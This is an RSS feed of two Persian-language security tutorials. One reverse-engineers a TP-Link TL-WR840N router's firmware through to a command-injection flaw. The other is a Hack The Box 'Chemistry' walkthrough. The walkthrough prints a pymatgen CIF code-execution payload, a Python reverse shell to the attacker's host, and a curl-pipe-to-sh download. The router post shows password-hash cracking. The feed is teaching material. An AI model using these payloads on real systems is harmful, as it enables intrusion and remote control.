<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های آکادمی آموزشی ای سایبر</title>
        <link>https://virgool.io/feed/@elmiraakbari</link>
        <description>آکادمی ای سایبر ارائه دهنده خدمات آموزش در حوزه امنیت فناوری اطلاعات و ارتباطات</description>
        <language>fa</language>
        <pubDate>2026-06-17 02:45:41</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/339963/avatar/tHGgF7.png?height=120&amp;width=120</url>
            <title>آکادمی آموزشی ای سایبر</title>
            <link>https://virgool.io/@elmiraakbari</link>
        </image>

                    <item>
                <title>Reversing TL-WR840N</title>
                <link>https://virgool.io/@elmiraakbari/reversing-tl-wr840n-gtehxql48jxr</link>
                <description>خرید روترهای ارزان قیمت برای یافتن آسیبپذیریها در آنهاPart 1: Acquiring the firmwareفرمویرهای TP-Link به راحتی قابل دسترسی هستند، چون بهصورت رایگان و آنلاین قابل دانلود است.اما این چیزی نیست که ما به آن نیاز داریم ! پورت سریال دایره زردرنگاکثر این دستگاهها یک پورت سریال برای دیباگ دارند. اتصال به آن باید کار سادهای باشد با استفاده از یک مبدل USB به UART.Universal Asynchronous Receiver/Transmitter (UART) یک پروتکل سختافزاری ارتباط سریال (serial) هست که به دو دستگاه اجازه میده اطلاعات رو به صورت بیتبهبیت و بدون نیاز به هماهنگی زمانی (Clock) منتقل کنن. معمولاً برای ارتباط ساده بین میکروکنترلرها، بردها (مثل آردوینو، ESP، STM)، و ابزارهای دیباگ مثل روترها استفاده میشه.اجزای اصلی ارتباط UART:TX (Transmit) → ارسال اطلاعاتRX (Receive) → دریافت اطلاعاتمعمولاً از 2 تا 4 سیم استفاده میکنه (TX, RX, GND و گاهی VCC)USB ART - UARTبا استفاده از این روش، شما میتونید بهصورت بالقوه روند بوت دستگاه رو قطع کنید و وارد یک شل سطح پایین بشید؛ چیزی مثل یک محیط دستوری که اجازه میده کارهایی مثل خواندن چیپ EEPROM در آفستهای مختلف انجام بدید.شما میتواند با جستجو در اینترنت نمونه های زیادی را برای تهیه ببینید و استفاده نمایید .EEPROMجدا کردن (Desoldering) چیپ EEPROM با استفاده از هیتر اقدام به گرم کردن چیپ و جدا سازی پایه ها از مدار می نماییم . این عمل برای دسترسی گرم به چیپ و خواندن و نوشتن برروی چیپ هست .دستگاه هیترTL866IIشما می تواند از این دستگاه در بازار به شکل ها و مدل های مختلف پیدا نمایید . پروگرمر TL866II Plus یک ابزار سختافزاری همهکاره است که برای خواندن، نوشتن (برنامهریزی)، پاک کردن و بررسی چیپهای حافظه مثل EEPROM، Flash، و حتی بعضی میکروکنترلرها استفاده میشه.خوب در اولین قدم باید مدل چیپ را شناسایی کنیم .معمولاً چیپهای EEPROM رویشون اطلاعاتی مثل شماره مدل (مثل 25Q32, 24C08) و سازنده (مثل Winbond، Macronix) نوشته شده.ما میتونیم روی چیپ عبارت AH1903 25Q32CS1G رو بخونیم، و لوگوی روی چیپ مربوط به شرکت GigaDevice هست.با جستوجوی مدل GD25Q32 در لیست چیپهای پشتیبانیشده توسط نرمافزار minipro، به این مورد میرسیم: GD25Q32 @SOP8جستجو : minipro در گیت هاب (پ .ن پ : این ویرگول مشکل بررسی پست داره وتمام لینک ها رو با کمترین توجه تبلیغ می شمارد.)minipro یک نرمافزار متنباز (open source) هست که برای ارتباط با پروگرمر TL866 و نسخههای جدیدش مثل TL866II+ استفاده میشه.با minipro میتوانیم :دامپ بگیری (اطلاعات یک چیپ رو بخونی و ذخیره کنی)برنامهریزی (write) انجام بدی (اطلاعات جدید روی چیپ بنویسی)بررسی صحت دادههاچیپهایی که پاکپذیر هستن رو erase کنیroot@kali:~# minipro -p GD25Q32 -r firmware.binFound TL866II+ 04.2.86 (0x256)Warning: Firmware is out of date.  Expected  04.2.118 (0x276)  Found     04.2.86 (0x256)Chip ID OK: 0xC84016Reading Code...  6.99Sec  OKPart 2: Reversing the firmwareفایل فرمویر ۴ مگابایتی است و شامل امضاهای زیر میباشد:root@kali:~# binwalk firmware.binDECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------53488         0xD0F0          U-Boot version string, &amp;quotU-Boot 1.1.3 (Jun 14 2018 - 11:06:28)&amp;quot66048         0x10200         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2986732 bytes1048576       0x100000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2955905 bytes, 610 inodes, blocksize: 262144 bytes, created: 2018-06-14 03:15:454063248       0x3E0010        XML document, version: &amp;quot1.0&amp;quotما بیشتر به squashfs علاقه داریم، چون این بخش حاوی سیستمفایلهای روتر است. با این حال، میتوانیم مشاهده کنیم که کد بوتلودر از آدرس 0xD0F0 شروع میشود، بنابراین احتمالاً اطلاعات جالبی در ابتدای فرمویر ذخیره شده است.SquashFS یک سیستم فایل فشرده و فقطخواندنی (read-only) است که برای ذخیرهسازی دادهها بهطور فشرده و بهینه طراحی شده است. این سیستم فایل بهطور معمول در دستگاههای با منابع محدود مانند روترها، دستگاههای قابل حمل، و سیستمهای جاسازیشده (embedded systems) استفاده میشود.آدرس 0xD0F0 یک آدرس هگزادسیمال است که به حافظه در سیستم اشاره دارد. این آدرس معمولاً نشاندهنده محل خاصی در حافظه دستگاه یا فایل است که در آن کد یا داده خاصی ذخیره شده است.در بسیاری از فرمویرهای روتر، بوتلودر اولین قطعه کدی است که پس از روشن شدن دستگاه اجرا میشود. بوتلودر معمولاً وظیفه دارد تا سختافزار را راهاندازی کند، سیستمعامل را بارگذاری کند و به سیستم اجازه دهد که آماده کار شود.تمامی فایلهای باینری برای معماری MIPS کامپایل شدهاند که رایجترین معماری برای روترها محسوب میشود. در پوشه /etc چند فایل جالب وجود دارد، بهویژه دو فایل رمزگذاریشده به نامهای default_config.xml و reduced_data_model.xml که در جستوجو درون کل squashfs بهدست میآیند. در این جستوجو، یک تطابق جالب پیدا کردیم: libcmm.so.MIPS (Microprocessor without Interlocked Pipeline Stages) یک معماری پردازنده (CPU architecture) است که برای پردازش سریع و بهینه اطلاعات طراحی شده است. این معماری توسط MIPS Computer Systems در دهه 1980 توسعه یافت و بهویژه در سیستمهای جاسازیشده، روترها، و دستگاههای شبکهای مورد استفاده قرار میگیرد.SquashFS یک سیستم فایل فشرده و فقطخواندنی (read-only) است که برای ذخیرهسازی دادهها بهطور فشرده و بهینه طراحی شده است. این سیستم فایل بهطور معمول در دستگاههای با منابع محدود مانند روترها، دستگاههای قابل حمل، و سیستمهای جاسازیشده (embedded systems) استفاده میشود.کدهای کامپایلشده که به این فایلهای رمزگذاریشده ارجاع میدهند، ممکن است در حال رمزگشایی آنها باشند. بنابراین، ما کتابخانه شیء مشترک (shared object library) را با استفاده از ابزار Ghidra دیساسمبل میکنیم تا تحلیل بیشتری انجام دهیم.Ghidra یک ابزار مهندسی معکوس (Reverse Engineering) است که توسط آژانس امنیت ملی ایالات متحده (NSA) توسعه داده شده است. این ابزار بهطور ویژه برای تجزیه و تحلیل باینریها و فایلهای اجرایی طراحی شده و به مهندسان معکوس و محققان امنیتی کمک میکند تا کد ماشین یا کدهای کمسطح را تحلیل و بازسازی کنند.int dm_decryptFile(uint param_1, undefined4 param_2, uint param_3, int param_4) {  int iVar1;  char acStack40[8];  int local_20;  memcpy(acStack40, &amp;encryption_key, 8);  if (param_3 &lt; param_1) {    cdbg_printf(8, &amp;quotdm_decryptFile&amp;quot, 0xb83, &amp;quotBuffer exceeded, decrypt buf size is %u, but dm file size is %u&amp;quot, param_3, param_1);    local_20 = 0;  } else {    local_20 = cen_desMinDo(param_2, param_1, param_4, param_3, acStack40, 0);    iVar1 = local_20;    if (local_20 == 0) {      cdbg_printf(8, &amp;quotdm_decryptFile&amp;quot, 0xb8a, &amp;quotDES decrypt error\n&amp;quot);    } else {      do {        local_20 = iVar1;        if (((undefined *)(param_4 + local_20))[-1] != &#039;\0&#039;) break;        iVar1 = local_20 - 1;      } while (local_20 != 0);      *(undefined *)(param_4 + local_20) = 0;    }  }  return local_20;}این کد مربوط به یک تابع به نام dm_decryptFile است که به نظر میرسد برای انجام عملیات رمزگشایی با استفاده از الگوریتم DES طراحی شده باشد. در این کد، به بررسی ورودیها، انجام عملیات رمزگشایی و بررسی خطا پرداخته میشود.توضیحات:ورودیها:param_1: طول دادهای که قرار است رمزگشایی شود.param_2: ورودی که احتمالاً حاوی اطلاعات کلیدی یا دادهای برای رمزگشایی است.param_3: اندازه بافر که دادهها در آن ذخیره میشوند.param_4: به احتمال زیاد آدرس یا موقعیت ذخیرهسازی دادههای رمزگشاییشده.الگوریتم DES:در ابتدا، یک کلید رمزگشایی (که به نظر ثابت است) در متغیر acStack40 کپی میشود.سپس تابع بررسی میکند که آیا طول داده برای رمزگشایی از طول دادهی اصلی بیشتر است یا نه. اگر اینطور باشد، پیامی مبنی بر خطا چاپ میشود.در غیر این صورت، از تابعی به نام cen_desMinDo برای انجام عملیات رمزگشایی DES استفاده میشود.بررسی خطا:اگر عملیات رمزگشایی با شکست مواجه شود (مقدار برگشتی از cen_desMinDo برابر با صفر باشد)، پیام خطا نمایش داده میشود.در غیر این صورت، دادهها به طور کامل رمزگشایی میشوند و ادامه پردازش انجام میشود.عملیات اضافی:در یک حلقه do-while، چک میشود که آیا آخرین بایت دادهها صفر است یا نه. این برای اطمینان از پایان یافتن صحیح رمزگشایی و پاکسازی فضای ذخیرهسازی استفاده میشود.کپی کردن آرایه 8 بایتی در بافر محلی:این کد به وضوح یک آرایه 8 بایتی را به یک بافر محلی کپی میکند. این 8 بایت مربوط به کلید DES است که معمولاً 7 بایت داده به همراه یک بایت برای توازن (parity byte) را شامل میشود.فراخوانی cen_desMinDo:این تابع از کتابخانه libcutil.so فراخوانی میشود و به نظر میرسد که یک پوشش (wrapper) برای توابع رمزنگاری DES است. به عبارت دیگر، این تابع برای انجام عملیات رمزنگاری یا رمزگشایی DES طراحی شده است.openssl enc -d -des-ecb -nopad -K XXXXXXXXXXXXXXXX -in default_config.xml &gt; default_config_decrypted.xmlopenssl enc: این دستور برای انجام عملیات رمزنگاری یا رمزگشایی استفاده میشود.-d: نشاندهنده این است که عملیات رمزگشایی (decrypt) انجام شود.-des-ecb: نشاندهنده الگوریتم رمزنگاری DES (Data Encryption Standard) با استفاده از حالت ECB (Electronic Codebook) است. در این حالت، هر بلوک داده به صورت جداگانه رمزنگاری میشود.-nopad: این گزینه به عدم استفاده از پرکردن (padding) اشاره دارد. در نتیجه، ورودی باید اندازهای که در الگوریتم DES معین است (مثلاً 8 بایت) داشته باشد.-K XXXXXXXXXXXXXXXX: اینجا باید کلید DES (16 کاراکتر hexadecimal) را وارد کنید که برای رمزگشایی استفاده خواهد شد. این مقدار به صورت hex نمایش داده میشود و باید 16 کاراکتر باشد.-in default_config.xml: این گزینه نشان میدهد که فایل default_config.xml که شامل دادههای رمزنگاری شده است، ورودی برای رمزگشایی خواهد بود.&gt;: علامت بزرگتر برای هدایت خروجی به یک فایل جدید استفاده میشود.default_config_decrypted.xml: این فایل مقصد است که دادههای رمزگشایی شده در آن ذخیره خواهند شد.به طور کلی، این دستور فایل default_config.xml را که با DES و بدون padding رمزنگاری شده است، رمزگشایی میکند و خروجی رمزگشایی شده را در فایل default_config_decrypted.xml ذخیره میکند.خروجی فایل به شکل ذیل می باشد.&lt;StorageService&gt;    &lt;UserAccount instance=&amp;quot1&amp;quot&gt;        &lt;Enable val=&amp;quot1&amp;quot /&gt;        &lt;Username val=&amp;quotadmin&amp;quot /&gt;        &lt;Password val=&amp;quotadmin&amp;quot /&gt;        &lt;X_TP_Reference val=&amp;quot0&amp;quot /&gt;        &lt;X_TP_SupperUser val=&amp;quot1&amp;quot /&gt;    &lt;/UserAccount&gt;&lt;/StorageService&gt;در اینجا، اشاره به این است که سیستم از روشهای قدیمیتر ذخیرهسازی اطلاعات و رمزهای عبور استفاده میکند، بهویژه با اشاره به فایلهای passwd که معمولاً شامل اطلاعات کاربری و رمز عبور به صورت متنی است، و اشاره به نبود فایل shadow که معمولاً برای نگهداری اطلاعات رمزهای عبور به صورت امنتر استفاده میشود.admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/shdropbear:x:500:500:dropbear:/var/dropbear:/bin/shnobody:*:0:0:nobody:/:/bin/shخوب به نظر می رسد که رمز عبور کاربر اول ($1) از نوع هش MD5 باشد .root@kali:~# hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt$1$$iC.dUsGpxNNJGeOm1dFio/:1234                                     Session..........: hashcatStatus...........: CrackedHash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)Hash.Target......: $1$$iC.dUsGpxNNJGeOm1dFio/Time.Started.....: Wed Oct 28 14:10:47 2020 (1 sec)Time.Estimated...: Wed Oct 28 14:10:48 2020 (0 secs)Guess.Base.......: File &#40;/usr/share/wordlists/rockyou.txt&#41;Guess.Queue......: 1/1 (100.00%)Speed.#1.........: 3279 H/s (11.38ms) @ Accel:256 Loops:125 Thr:1 Vec:8Recovered........: 1/1 (100.00%) DigestsProgress.........: 3072/14344385 (0.02%)Rejected.........: 0/3072 (0.00%)Restore.Point....: 0/14344385 (0.00%)Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000Candidates.#1....: 123456 -&gt; dangerousعبارت به این معنی است که &quot;admin:1234&quot; رمز عبور پیشفرض برای دسترسی روت به روتر است و میتوان از این اطلاعات برای اتصال به روتر، مثلاً از طریق پورت سریال، استفاده کرد. البته، انتظار نمیرفت که رمزهای پیچیدهای برای اطلاعات پیشفرض تنظیم شده باشند.Part 3: Dropbearکاربر جالب دیگری که در اینجا دیده میشود، dropbear است. این برنامه یک سرور SSH سبک برای سیستمهای تعبیهشده (embedded) است و میتواند به یک کاربر اجازه دهد که بهصورت راه دور به روتر احراز هویت کند. اما اطلاعات ورود dropbear چگونه مقداردهی اولیه میشوند؟با جستوجو برای دادههای مرتبط با dropbear، دوباره به فایل libcmm.so برخورد میکنیم و به رشتهای بسیار جالب به نام ذیل میرسیم. /var/tmp/dropbear/dropbearpwd این فایل در سیستم فایل squashfs وجود ندارد، پس باید در زمان راهاندازی (startup) ایجاد شود.در واقع، این فایل درون تابعی به نام setDropbearLogin ساخته میشود.undefined4 setDropbearLogin(int conf_obj){  undefined4 uVar1;  FILE *__stream;  size_t length;  byte *pbVar2;  int iVar3;  char *__s;  char acStack112[36];  byte dest[32];  undefined local_2c;  char *password;  memset(dest,0,0x21);  if ((*(char *)(conf_obj + 0x22) == &#039;\0&#039;) || (*(char *)(conf_obj + 0x32) == &#039;\0&#039;)) {    cdbg_printf(8,&amp;quotsetDropbearLogin&amp;quot,0xe3,&amp;quotuname = %s, pswd = %s\n&amp;quot,conf_obj + 0x22,conf_obj + 0x32);    uVar1 = 1;  }  else {    __stream = fopen&#40;&amp;quot/var/tmp/dropbear/dropbearpwd&amp;quot,&amp;quotwb+&amp;quot&#41;;    uVar1 = 1;    if (__stream != (FILE *)0x0) {      fprintf(__stream,&amp;quotusername:%s\n&amp;quot,conf_obj + 0x22);      password = (char *)(conf_obj + 0x32);      __s = acStack112;      length = strlen(password);      iVar3 = 0;      cen_md5MakeDigest(dest,password,length);      memset(acStack112,0,0x21);      do {        pbVar2 = dest + iVar3;        iVar3 = iVar3 + 1;        sprintf(__s,&amp;quotx&amp;quot,(uint)*pbVar2);        __s = __s + 2;      } while (iVar3 != 0x10);      memcpy(dest,acStack112,0x21);      local_2c = 0;      fprintf(__stream,&amp;quotpassword:%s\n&amp;quot,dest);      fclose(__stream);امیدوارم مثل همیشه خروجی Ghidra بهخوبی قابل خوندن باشه. خلاصه کاری که این بخش از کد انجام میده اینه:یه فایل به اسم /var/tmp/dropbear/dropbearpwd ایجاد یا باز میکنهیه رشته با متن &quot;username:&quot; به همراه نام کاربریای که بهش داده شده توی فایل مینویسهرمز عبور رو که بهش داده شده هش میکنهبعد یه رشته با متن &quot;password:&quot; به همراه هش رمز عبور (به صورت ۱۶ بایت هگزادسیمال) داخل فایل مینویسهدر نهایت فایل رو میبندهنکته جالب اینجاست که تابع هشکردن هم از همون کتابخونهی آشنا یعنی libcutil.so میاد. اسمش هم cen_md5MakeDigest هست.اما حالا سؤال: این نام کاربری و رمز عبور از کجا میان؟در واقع اینا از یه ساختار بزرگتر توی برنامه گرفته میشن.روتر از یه شیء بزرگ استفاده میکنه که توی بخش BSS حافظه ذخیره شده. این شیء یه مدل دادهی سراسری (global) هست که برنامه توی اجرا بهش دسترسی داره و داخلش مینویسه.undefined4 dm_setObj(uint param_1,ushort *param_2,ushort *param_3)undefined4 dm_getObj(uint oid,ushort *out_buf,uint size,void *in_buf)تو این سیستم، از عددهای OID برای اشاره به بخشهای خاصی از تنظیمات داخل حافظه استفاده میشه. مثلاً توی مورد ما، OID شماره ۸ مربوط به اطلاعات لاگین Dropbear هست (مثل نام کاربری و رمز)iVar1 = dm_getObj(8, &amp;source, 0x62, dropbear_obj_addr);if (iVar1 != 0) {  cdbg_printf(8, &amp;quotprepareDropbear&amp;quot, 0x11a, &amp;quotget OID_USER_CFG error.\n&amp;quot);}setDropbearLogin(dropbear_obj_addr);util_execSystem(&amp;quotprepareDropbear&amp;quot, &amp;quotdropbearkey -t rsa -f %s&amp;quot,                &amp;quot/var/tmp/dropbear/dropbear_rsa_host_key&amp;quot);util_execSystem(&amp;quotprepareDropbear&amp;quot, &amp;quotdropbearkey -t dss -f %s&amp;quot,                &amp;quot/var/tmp/dropbear/dropbear_dss_host_key&amp;quot);util_execSystem(&amp;quotprepareDropbear&amp;quot, &amp;quotdropbear -p %d -r %s -d %s -A %s&amp;quot, 0x16,                &amp;quot/var/tmp/dropbear/dropbear_rsa_host_key&amp;quot,                &amp;quot/var/tmp/dropbear/dropbear_dss_host_key&amp;quot,                &amp;quot/var/tmp/dropbear/dropbearpwd&amp;quot);این کد از تابعی میاد که setDropbearLogin رو فراخوانی میکنه. اون آدرس dropbear_obj_addr رو از مدل دادههای سراسری (global data model) دریافت میکنه، که در شاخص OID شماره ۸ ذخیره شده. این بخش شامل هم نام کاربری و هم گذرواژهی ساده (plaintext) خواهد بود.حالا، بعد از بررسی تمام فراخوانیهای dm_setObj (که زمانبر هم بود):undefined dm_setObj()dm_setObj                                       XREF[135]:   Entry Point(*),                                                              rsl_sys_log:0002c470(c),                                                              rsl_initPingWatchDogObj:0002e0f0                                                             rsl_initL2tpConnPorttriggeringOb                                                             rsl_initDmzHostCfgObj:0003c81c(cکاملاً مشخص بود که شناسهی شیء (OID) شماره ۸ بهصورت مقدار ثابت در برنامه تعریف نشده، بلکه در واقع از طریق یک حلقه که روی مقادیر متغیر سراسریای به نام configXMLCtx تکرار میشود، مقداردهی شده است.با ترسیم نمودار فراخوانی (Call Graph) برای تابع dm_setObj، و با در نظر گرفتن اینکه پارامتر OID از configXMLCtx گرفته میشود، متوجه میشویم که اعتبارنامههای ما از فایل XML میآید که قبلاً آن را رمزگشایی کردهایم: default_config.xmlPart 4: Command injectionsدر خصوص این بخش، به دلیل اینکه روتر به دلیل جداسازی قطعات غیرفعال شده است، قطعاً نمیتوانم به آسیبپذیریها اطمینان داشته باشم و برای بررسی دقیقتر نیاز به آزمایش زنده است تا مشخص شود آیا پارامترها قابل تزریق هستند یا خیر. این موضوع به ویژه با توجه به استفاده گسترده از تابع system مطرح میشود که معمولاً از آن به دلیل مسائل امنیتی پرهیز میشود. thunk int system&#40;char * __command&#41;   Thunked-Function: &lt;EXTERNAL&gt;::system    assume t9 = 0xb8160 int               v0:4           &lt;RETURN&gt; char *            a0:4           __command system                                          XREF[8]:                                                   Entry Point(*),                                                    rsl_sys_restoreDefaultCfg:0002af                                                   rsl_sys_updateFirmware:0002b280(                                                   util_execSystem:00092aac(c),                                                    util_execSystem_long:00092d38(c),                                                    oal_startUPnP:00098f18(c),                                                    ipt_init:000a20e0(c),                                                    000ecda4(*)اما خود تابع system مشکلی ایجاد نمیکند، بلکه تابع util_execSystem است که به آن وابسته است و در تمام کد به کار رفته است. این تابع 495 ارجاع متقابل دارد، در توابعی مانند delStaticRoute یا oal_ping.تابع از اینجا شروع میشود:memset(command_line, 0, 0x200);iVar1 = vsnprintf(command_line, 0x1ff, cmd, &amp;local_res8);cdbg_printf(8, &amp;quotutil_execSystem&amp;quot, 0x8b, &amp;quot%s cmd is \&amp;quot%s\&amp;quot\n&amp;quot, caller_name, command_line);if (0 &lt; iVar1) {    iVar1 = 1;    do {        local_22c = system&#40;command_line&#41;;        local_22c._1_1_ = (byte)(local_22c &gt;&gt; 8);        local_240 = local_22c &amp; 0x7f;        if ((int)local_22c &lt; 0) {            if (local_22c == 0xffffffff) {                cdbg_printf(8, &amp;quotutil_execSystem&amp;quot, 0x9b, &amp;quotsystem fork failed.&amp;quot);            } else {                perror(&amp;quotutil_execSystem call error:&amp;quot);            }        }    } while (waitpid);}بافر حاوی دستور صفر میشود، سپس از خط فرمانی که به عنوان پارامتر ارسال شده، با استفاده از تابع snprintf پر میشود و مستقیماً از آنجا (بدون هیچگونه پاکسازی یا بررسی) به تابع system&#40;&#41; ارسال میشود.این یک مثال خوب از یک وضعیت بالقوه آسیبپذیر است که میتواند منجر به تزریق کد شود:void oal_ipt_addBridgeIsolationRules(undefined4 param_1){  util_execSystem(&amp;quotoal_ipt_addBridgeIsolationRules&amp;quot, &amp;quotiptables -t filter -I BRIDGE_ISOLATION -i br+ -o %s -j DROP&amp;quot, param_1);}متغیر param_1 میتواند حاوی نام یک رابط شبکه باشد که از طریق رابط وب وارد شده است. هنگامی که این متغیر به صورت مستقیم به رشته دستور افزوده میشود، ممکن است حاوی کد اجرایی بش (Bash) باشد که به وسیله آن میتوان دسترسی روت به دستگاه بدست آورد (برای مثال از طریق bind یا reverse shell).من نتوانستم تمام استفادههای مختلف را بررسی کنم، اما جای تعجب است اگر هیچکدام از این موارد قابل تزریق از طریق رابط مدیریت وب نباشند.CVE-2020-36178oal_ipt_addBridgeIsolationRules on TP-Link TL-WR840N 6_EU_0.9.1_4.16 devices allows OS command injection because a raw string entered from the web interface (an IP address field) is used directly for a call to the system library function (for iptables). NOTE: oal_ipt_addBridgeIsolationRules is not the only function that calls util_execSystem.</description>
                <category>آکادمی آموزشی ای سایبر</category>
                <author>آکادمی آموزشی ای سایبر</author>
                <pubDate>Mon, 14 Apr 2025 15:53:34 +0330</pubDate>
            </item>
                    <item>
                <title>Hack The Box Chemistry  نفوذ به سیستم رایانه ای شیمی</title>
                <link>https://virgool.io/@elmiraakbari/hack-the-box-chemistry-%D9%86%D9%81%D9%88%D8%B0-%D8%A8%D9%87-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-%D8%B1%D8%A7%DB%8C%D8%A7%D9%86%D9%87-%D8%A7%DB%8C-%D8%B4%DB%8C%D9%85%DB%8C-xwtkwtlktj9h</link>
                <description>Chemistryماشین لینوکسی شیمی یک سیستم با سطح دشواری آسان است که دارای آسیبپذیری اجرای کد از راه دور (RCE) در کتابخانه پایتون pymatgen (CVE-2024-23346) میباشد. این آسیبپذیری از طریق بارگذاری یک فایل CIF مخرب در وبسایت قابل بهرهبرداری است. پس از شکستن هشها، با استفاده از SSH به عنوان کاربر rosa به سیستم وارد میشویم. برای افزایش سطح دسترسی، از یک آسیبپذیری پیمایش مسیر (Path Traversal) در کتابخانه پایتون AioHTTP (CVE-2024-23334) استفاده میکنیم که امکان خواندن دلخواه فایلها را فراهم میکند.1# شروع اسکن با NMAPدر این بخش با اجرا دستور زیر درگاه های باز سیستم مجازی آسیب پذیر با استخراج می نماییم .nmap -sC -vv -oA nmap/chemistry 10.10.11.38این دستور تمامی پورتهای باز سیستم هدف را شناسایی میکند و به ما کمک میکند تا نقاط ورودی احتمالی را برای بهرهبرداری مشخص کنیم.-sCاجرای اسکریپتهای پیشفرض Nmap (مانند شناسایی نسخهها، اطلاعات اضافی سرویسها و تستهای امنیتی اولیه).-vvفعال کردن حالت verbose دوبرابر، یعنی نمایش جزئیات بیشتر در طول فرآیند اسکن.-oA nmap/chemistryذخیره نتایج اسکن در سه فرمت مختلف (normal, XML و grepable) با پیشوند chemistry در پوشه nmap فایلها به صورت chemistry .nmap، chemistry .xml و chemistry .gnmap ذخیره میشوند.اجرا دستور nmap برای یافتن درگاه های باز برروی سیستم مجازی آسیب پذیر مشاهده صفحه اول سرویس دهنده CIFدر این بخش با درج آدرس شبکه ماشین مجازی آسیب پذیر به آدرس 10.10.11.38 (اختصاصی) در مرورگر خود می توان صفحه اول سایت سرویس دهی شده برروی درگاه http مشاهده کرد . صفحه پیش فرض http سرویس اجرا شده بروی ماشین مجازی آسیب پذیردر این صفحه دو گزینه انتخابی به عنوان login و register موجود است .صفحه بعداز عضویت در سامانهدر این صفحه این امکان هست که فایل CIF برای آنالیز بارگزاری نماییم . همین طور که قابل مشاهده است قابلیت دانلود فایل از لینک بالا صفحه میسر است .ساختار پیش فرض فایل cifتذکر : قابلیت های بارگزاری فایل یکی از بخش های آسیب پذیری مربوط به RCE میتواند باشد در بعضی از موارد نیز قابلیت دانلود بعد از آپلوید در حملات SSRF امکان پذیر است .ساختار exiftool فایل example .cif در این مرحله با استفاده از نرم افزار exiftool مقدار های metadata موجود در فایل را مشاهده می نماییم. پیدا کردن اسکریپت اکسپلویت برروی example .cifحالا با بررسی ساختار فایل cif می توانیم کار دیگری انجام دهیم در این روش با جستجو در اینترنت با عبارت cif exploit github متوجه وجود مقاله ای در زمینه poc در فایل های cif می شویم . در این مقاله نمونه کد آسیب پذیری اثبات poc برای ما قرار داده شده است .data_5yOhtAoR_audit_creation_date            2018-06-08_audit_creation_method          &amp;quotPymatgen CIF Parser Arbitrary Code Execution Exploit&amp;quotloop__parent_propagation_vector.id_parent_propagation_vector.kxkykzk1 [0 0 0]_space_group_magn.transform_BNS_Pp_abc  &#039;a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[&amp;quot__sub&amp;quot + &amp;quotclasses__&amp;quot]) () if d.__name__ == &amp;quotBuiltinImporter&amp;quot][0].load_module (&amp;quotos&amp;quot).system &#40;&amp;quottouch pwned&amp;quot&#41;;0,0,0&#039;_space_group_magn.number_BNS  62.448_space_group_magn.name_BNS  &amp;quotP  n&#039;  m  a&#039;  &amp;quotدر این تصویر با تعریف دستور ping -c 1 10.10.14.8 به سیستم جهت بررسی اجرا ستوات RCE برروی سرور به روش SSRFدستور sudo tcpdump -n -i tun0 icmpهمان طور که قابل مشاهده است می توانیم از طریق شل کد ping ماشین مجازی آسیب پذیر به سیستم خود پروتکل icmp ارسال نمایید .مشکل در دریافت شل معکوس، در نهایت دانلود یک فایل با curlدر اولین قدم اقدام به ایجاد شل کد برای اجرا در ماشین مجازی آسیب پذیر می نماییم . کد شل آسیب پذیری SSRF با ویژگی اتصال به nc بعد از اجرا این فایل به دلیل مشکل در عدم اجرا درست دستور bash نیاز به بازبینی و اجرا روش های دیگر برای اجرای دستور می باشد .روش اول دور زدن محدودیت :اجرا دستوری شل به صورت Base64 : استفاده از دستور Base64 برای تبدیل کد مخرب اتصال به ماشین مجازی آسیب پذیر به واسطه nc تبدیل کد آسیب پذیر به اینکود Base64 و استفاده از دستور فرمان برای اجرا دستور در ساختار Base64 -dاستفاده از شل معکوس : قدم اول بررسی دسترسی سرور آلوده به بیرون از شبکه : استفاده از دستورcurl برای دسترسی به فایل خارجی و دانلود برروی ماشین مجاری آسیب پذیر از روی سیستم مهاجماستفاده از دستور curl برای دسترسی به آدرس بیرونی از طریق URLقدم دوم استفاده از سرویس nc برای ارسال فایل مخرب به سیستم هدف برای اجرای شل معکوسnc -lvnp 9001قابلیت دانلود فایل از روی سیستم مهاجم برروی ماشین مجازی آسیب پذیرpaython3 -m http.serverاستفاده از کد شل پایتون برای اجرای راحت و ایجاد شل معکوس برروی ماشین مجازی آسیب پذیریسایت مرجع شل های معکوس python -c &#039;import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot10.10.14.8&amp;quot,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&amp;quot/bin/sh&amp;quot)&#039;متصل شدن معکوس به ماشین مجازی آسیب پذیر به واسطه کد پایتون و ncاتصال موفق به شل معکوس اتصال به شل سیستم به منظور فعالسازی قابلیتهای سیستم، از جمله کلیدهای میانبر ترمینال لینوکس و سایر امکانات پیشرفته، انجام میشود.دسترسی به شل به واسطه دستور bashدر تصویر بالا، چند روش برای دور زدن محدودیتهای اجرای دستورات شل و کد بر روی ماشین مجازی آسیبپذیر قابل مشاهده است.شل کد ویرایش شده برای دریافت اتصال شل با هاست مجازی آسیب پذیردر این بخش، فرمان شل در فایل CIF قرار داده شده است. به دلیل محدودیتهای موجود در دستورات کد، نیاز به تغییر در ساختار آن برای اجرای صحیح و دسترسی به شل سیستم داریم. این تغییرات ممکن است شامل اصلاح فرمت فایل CIF، تغییر نحوه بارگذاری یا اجرای کد، و یا بهرهبرداری از آسیبپذیریهای موجود برای اجرای دستورات شل به شکلی متفاوت از حالت معمول باشد.curl http://10.10.14.8:8000/pm 2&gt;dev/shm/error | sh 2&gt;dev/shm/error2دسترسی کد به شل اپلیکیشن به واسطه شل معکوس در فایل cifبرای توسعه بخش ترمینال پس از ورود به آن، میتوانیم از کد زیر برای بهبود قابلیتهای ترمینال استفاده کنیم:python3 -c &#039;import pty; pty.spawn(&amp;quot/bin/bash&amp;quot)&#039;stty raw -echo; fgexport TERM=xtermاین کد به شرح زیر عمل میکند:export TERM=xterm: این دستور تنظیمات ترمینال را بهگونهای تغییر میدهد که پشتیبانی از رنگها و قابلیتهای پیشرفته در ترمینال فعال شود.این تغییرات کمک میکنند تا 